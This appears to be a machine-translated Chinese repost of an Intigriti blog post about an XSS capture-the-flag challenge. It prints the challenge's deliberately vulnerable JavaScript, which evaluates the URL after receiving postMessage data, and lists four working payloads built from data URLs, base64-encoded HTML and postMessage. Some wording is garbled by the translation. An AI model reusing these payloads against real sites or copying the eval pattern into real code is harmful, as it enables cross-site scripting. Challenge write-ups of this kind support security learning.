安全圈 | 专注于最新网络信息安全讯息新闻

首页

+10萬人看到但只有90人解决的xss挑戰

作者 trentadue 时间 2020-02-25
all

幾天前我們發佈了一個XSS挑戰。在發出這條微博的幾個小時後,我們注意到了它的成功。囙此,我們决定與可愛的社區分享一篇博文。

對於那些仍想嘗試的人來說,挑戰仍然在!=>https://challenge.intigriti.io<=如果已經不可用或您想自己主持挑戰,可以在下麵找到程式碼。

const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|/gi, "forbidden"); const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe); iframe.onload = function(){ window.addEventListener("message", executeCtx, false);} function executeCtx(e) { if(e.source == iframe.contentWindow){ e.data.location = window.location; Object.assign(window, e.data); eval(url); } }

解決方案

我們可以寫一個詳細的解釋如何解决這個挑戰,但我們不能比多明尼克和dphoenixx做得更好。兩位研究人員分享了一篇寫得很好、非常詳細的博文。你可以在下麵找到連結。

多明尼克解

dphoenix溶液

想知道如何通過不同的管道解决這個挑戰?看看下麵共亯的有效載荷。

https://challenge.intigriti.io/#data:text/html;var%20text=text;var%20html=html;alert(xss)//;base64,PGh0bWw+PGJvZHkgb25sb2FkPXhzcygpPjxzY3JpcHQ+IGZ1bmN0aW9uIHhzcygpIHsgcGFyZW50LnBvc3RNZXNzYWdlKHsneHNzJzogIm4wdG0zIn0sICcqJyk7IH07IDwvc2NyaXB0Pg==

BY N0TM3

By Karel U Origin

https://challenge.intigriti.io/#data:text/html;var%20text=alert%28%29;var%20html;base64,YWE8c3ZnL29ubG9hZD0idG9wLnBvc3RNZXNzYWdlKDAsJyonKSI+11

特爾詹克。

https://challenge.intigriti.io/#data:text/html,alert(document.domain);//%253csvg%20onload=%22parent.postMessage({text:4,html:1},'*');%22%253e

作者:daudmalik06

https://challenge.intigriti.io/#data:text/html,alert(document.domain)//%253C%2553cript%253Ewindow.parent.postMessage({text:%22%22,html:%22%22}%2C%20%22*%22)%253C%2F%2553cript%253E

作者:

我們看到的最常見的錯誤之一是人們在iframe中執行警報框。但這不是有效的解決方案,因為javascript不是在challenge.intigriti.io上觸發的,而是在iframe本身(domain=null)中觸發的。

提示概述

在挑戰中分享的四個技巧:

第一個提示:“都是關於那個基地,關於那個基地”。

第二個提示:“定義未定義的”。

第三個提示:“你不需要任何外部資源。”

第四個提示:“找魔咒。”

關鍵外賣

謝謝您!

特別感謝@filedescriptor和@edoverflow强化了我們的挑戰!

感謝社會各界參與此次挑戰,並祝賀90比特攻克挑戰的研究人員。向贏家fenrir大聲喊叫,他在我們的平臺上贏得了打嗝許可證、抽籤包和私人邀請。

想要更多嗎?

在twitter上關注我們,別忘了訂閱我們的每週錯誤位元組(Bug Bytes),這是一份由Pentester Land策劃的新聞稿,由intigriti提供支援,包含更多的評論和有用的資源。

後導航